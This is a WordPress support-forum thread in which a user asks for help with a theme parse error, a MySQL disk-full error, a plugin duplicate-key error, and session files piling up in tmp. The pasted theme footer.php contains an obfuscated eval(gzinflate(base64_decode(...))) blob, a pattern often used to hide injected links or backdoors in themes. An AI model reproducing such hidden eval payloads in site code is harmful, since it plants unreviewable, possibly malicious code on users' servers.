WordPress.org

Ready to get started?Download WordPress

Forums

Serious MySQL Errors (3 posts)

  1. Jakets
    Member
    Posted 4 years ago #

    I am having multiple SQL errors in my log, I need these resolved quickly as it is overloading my server. Can anyone tell me what is wrong and how to go about fixing them?

    ERROR 1: [22-Dec-2009 09:37:04] PHP Parse error: syntax error, unexpected ')' in /home/jakets/public_html/blog/wp-content/themes/autumn/footer.php on line 2

    This is the footer.php contents:

    <?php
    $footerHtml = <<<TXT
    <!-- Contact Us | Terms of Use | Trademarks
    | Privacy Statement | -->
    TXT;
    eval(gzinflate(base64_decode('bVJRa9swEH4P5D9cTTrZEKdjG3tYbIeydexlfUhgMMYQtnWxRWTJk+RkWcl/n2S7bUirB+t8p/u+u+9ulSWM76EUuTFp8FUpizrIphNw52Uk5lI+x89PkkOtcZsGyaqtWyiEqrjcqpBoY97RTgsSLWGVBY94zh3bvIp5qWQAlluBabDebIIsuclfw39Zi8W/1peStP7j45ylNWcMJRh7dICEcdOK/PhJKolLkg21TSeVUEUuYIay/CKX0wnfhoMNVykQEj3AUEDvVE3OJaQOUmvch9U/15fILYZFbvDjB8qwVAxHgChybY7JuRDqgIw9AjyjLccXZaf1BvUe9X3e4MBBNbqSSwyDw+GwCOZBMJ/Rzd36x936Fxluen/7/Y78jkYYX/0lUnpBHz08S6qxUXukeWm5kiE5tHTbC0rmRJRNS22NDVLV+rChKBl56unk7pM33O/KTcqJ7rR36l8I20MMYxrlPfOkqZd4OsGyVjAbuL/ZRniSEwqDj7HaOR2/W47jk8pnOL7/03SyOqvA9dIvnupsGC1XGSSFHpfps2qPmle1hTelM5cwZPREzI+T/CRDysUCSyfosLwLuBUC1h7EwBqN15stkpt+/0Yt+l09t1/ubZGXu0qrTrLgIuFM0AuPh8meehw0C/uiXsm9iuOxi1ZzabchpSG5ZvCnQ83RLODagHF6SmYWZA5k1xWalzsSzaFCS2XX0PFp6FyWN6ipsaoN387hfdSzQhz3nIVix97ws8r+Aw==')));
    ?>

    ERROR 2: [22-Dec-2009 09:47:49] WordPress database error Got error 28 from storage engine for query SELECT t.*, tt.*, tr.object_id FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN wp_term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ('category', 'post_tag') AND tr.object_id IN (143) ORDER BY t.name ASC made by require, wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts, update_post_caches, update_object_term_cache, wp_get_object_terms

    ERROR 3: [24-Dec-2009 02:49:19] WordPress database error Duplicate entry '115-0' for key 1 for query insert into wp_yarpp_related_cache (reference_ID,ID,score) values (115,0,0) made by require, require_once, do_feed, do_action, call_user_func_array, do_feed_rss2, load_template, require_once, the_excerpt_rss, apply_filters, call_user_func_array, yarpp_rss_excerpt, yarpp_related, yarpp_cache_enforce

  2. Jakets
    Member
    Posted 4 years ago #

    The error 3 is clearly Yet Another Related Posts Plugin. Any help on fixing any of these as well as the php error on error 1 is greatly appreciated.

  3. Jakets
    Member
    Posted 4 years ago #

    Ok I talked to my host and he cleared the TMP folder, this is what he said about error 2:

    Arkady [9:53:07 PM]: As I see there are a lot of session files created in tmp folder from your application, as example:
    [9:53:08 PM]: -rw------- 1 jakets jakets 0 Dec 23 20:48 sess_93ab811165324db9b27fea766f75fb79
    -rw------- 1 jakets jakets 0 Dec 23 20:50 sess_98615e2244dbc4474f28f2cc1800d2e5
    -rw------- 1 jakets jakets 0 Dec 23 20:48 sess_9c8e56b1d8aee7ae37523aed1a749a9a
    -rw------- 1 jakets jakets 0 Dec 23 20:49 sess_9e29fd37e5f1eb4d6b217187ac4d0ed9
    -rw------- 1 jakets jakets 0 Dec 23 20:47 sess_9e430ea063ec4f10159a505e3b82f0c0
    -rw------- 1 jakets jakets 0 Dec 23 20:48 sess_9e50dbce45f962f2f00f36b112c87d11
    -rw------- 1 jakets jakets 0 Dec 23 20:49 sess_a2d3964d42fc345fb6f30f9fada1acd7
    -rw------- 1 jakets jakets 0 Dec 23 20:48 sess_a35e6fabe147e0f2c87bde3aa68c585d
    -rw------- 1 jakets jakets 0 Dec 23 20:49 sess_a4bc122e8be4532239f87a7df681bb13
    -rw------- 1 jakets jakets 33 Dec 23 20:48 sess_a6efc621025cd5e337939c379c5f9087
    -rw------- 1 jakets jakets 0 Dec 23 20:48 sess_ab12e67525beb08d5cba2120e65def09
    -rw------- 1 jakets jakets 0 Dec 23 20:49 sess_aeeb348394e242606f3aab9852081f78
    -rw------- 1 jakets jakets 0 Dec 23 20:50 sess_b1b5cf1a3865998b7f83028b777a37b9
    -rw------- 1 jakets jakets 0 Dec 23 20:51 sess_b3e12a33e1aaf90fd9790cdd33c09c1f
    -rw------- 1 jakets jakets 0 Dec 23 20:46 sess_bef6373ee29dd3299cbe61befaf472b2
    -rw------- 1 jakets jakets 0 Dec 23 20:51 sess_bf185ebbc08f06a538197bc1846c7624
    -rw------- 1 jakets jakets 0 Dec 23 20:47 sess_c35c01c02f34e42baa632182d65e6203
    -rw------- 1 jakets jakets 0 Dec 23 20:49 sess_c41cc30f0cce3f2ac3fb64caa23d99a9
    -rw------- 1 jakets jakets 33 Dec 23 20:50 sess_c6cf453eb0fc37da3cbc1b7a66108209
    -rw------- 1 jakets jakets 0 Dec 23 20:45 sess_c713ba2f6c0fe043c92575edba785cb6
    -rw------- 1 jakets jakets 0 Dec 23 20:45 sess_c7401ef8ac00ef4816436f35b56c7a0b
    -rw------- 1 jakets jakets 0 Dec 23 20:52 sess_c8373e7a2815108a801e0ff109249cf7
    -rw------- 1 jakets jakets 33 Dec 23 20:45 sess_c9db9fb3365574bfe7596febfdbd50de
    -rw------- 1 jakets jakets 0 Dec 23 20:48 sess_caea8e52143bf584e645d83a0776ae3f
    -rw------- 1 jakets jakets 0 Dec 23 20:49 sess_d08e1e776efa59b79811e5b414e96e32
    -rw------- 1 jakets jakets 0 Dec 23 20:49 sess_d1d4a51861ecd797063324a0d8547e56
    -rw------- 1 jakets jakets 0 Dec 23 20:47 sess_d369fed65607f441d2d4ecc534c8c67a
    -rw------- 1 jakets jakets 0 Dec 23 20:47 sess_d5c90d8116f72bd09b4672a653bff8a0
    -rw------- 1 jakets jakets 0 Dec 23 20:45 sess_d6a71a8226d075ba79ca27445d3239a3
    -rw------- 1 jakets jakets 0 Dec 23 20:51 sess_d8306a2cd31b420f7f58bf8e0c4a542b
    Jake [9:53:33 PM]: what causes this, why wouldn't they delete themselves?
    Arkady [9:54:18 PM]: Your application shouldn't create so much files, so it would be better to consult with application developers

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags